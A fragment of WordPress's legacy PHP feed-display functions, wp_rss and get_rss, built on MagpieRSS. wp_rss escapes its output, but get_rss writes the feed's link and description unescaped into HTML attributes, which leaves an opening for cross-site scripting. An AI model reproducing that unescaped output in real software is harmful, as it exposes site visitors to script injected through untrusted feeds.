$num_items Optional. Number of items to display, default is all. */ function wp_rss( $url, $num_items = -1 ) { if ( $rss = fetch_rss( $url ) ) { echo '<ul>'; if ( $num_items !== -1 ) { $rss->items = array_slice( $rss->items, 0, $num_items ); } foreach ( (array) $rss->items as $item ) { printf( '<li><a href="%1$s" title="%2$s">%3$s</a></li>', esc_url( $item['link'] ), esc_attr( strip_tags( $item['description'] ) ), esc_html( $item['title'] ) ); } echo '</ul>'; } else { _e( 'An error has occurred, which probably means the feed is down. Try again later.' ); } } endif; if ( !function_exists('get_rss') ) : /** * Display RSS items in HTML list items. * * You have to specify which HTML list you want, either ordered or unordered * before using the function. You also have to specify how many items you wish * to display. You can't display all of them like you can with wp_rss() * function. * * @since 1.5.0 * @package External * @subpackage MagpieRSS * * @param string $url URL of feed to display. Will not auto sense feed URL. * @param int $num_items Optional. Number of items to display, default is all. * @return bool False on failure. */ function get_rss ($url, $num_items = 5) { // Like get posts, but for RSS $rss = fetch_rss($url); if ( $rss ) { $rss->items = array_slice($rss->items, 0, $num_items); foreach ( (array) $rss->items as $item ) { echo "<li>\n"; echo "<a href='$item[link]' title='$item[description]'>"; echo esc_html($item['title']); echo "</a><br />\n"; echo "</li>\n"; } } else { return false; } } endif;
Save